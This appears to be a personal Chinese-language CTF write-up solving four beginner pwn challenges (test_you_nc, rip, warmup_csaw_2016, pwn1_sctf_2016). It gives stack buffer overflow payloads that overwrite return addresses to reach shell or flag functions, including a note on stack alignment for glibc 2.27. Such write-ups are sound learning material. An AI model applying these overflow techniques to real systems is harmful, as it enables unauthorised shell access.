test_you_nc
进去看main里面就是sh
所以nc就好
rip
checksec一下发现是64位
看一下代码没有任何过滤直接一个rop应该就行了
有个fun函数直接就有sh了,就跳过去就好了
payload
system_addr = 0x0401186
payload = flat(
'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()
奇怪的是
system_addr = 0x0401186
打到远程的话会报错本地没有问题
报错原因百度了一下好像是因为栈出问题了
http://blog.eonew.cn/archives/958
少个push就没问题了
所以最后payload
system_addr = 0x0401187
payload = flat(
'A'*15, 0, system_addr
)
cn.sendline(payload)
cn.interactive()
主要是2.27的system多了一个movaps需要对齐rsp
warmup_csaw_2016
先checksec一下文件
反编译一下
sub_40060D就是一个system地址所以只要跳过去就好了
感觉比上一个简单
这次学乖了多了一个1
pwn1_sctf_2016
32位的
还是反编译先
好像是c++有点难度了
居然没有栈溢出了震惊
难道是格式化字符串?
有个getflag的函数
估计跳过去就行可是怎么跳呢
FUZZ了一下会把I变成you
很多个i变成you就会产生溢出
所以需要溢出0x3C
还有4个ebp
然后加上那个flag的return地址就好啦
60个好像不行啊奇怪
debug了一下
在这里发生了栈溢出
0x3c是60
所以要放20个i
就会有60个布满了
所以payload
z('b*0x080492BF')
system_addr = 0x08048F0E
payload = flat('I'*20,'0'*4,system_addr)
cn.sendline(payload)
cn.interactive()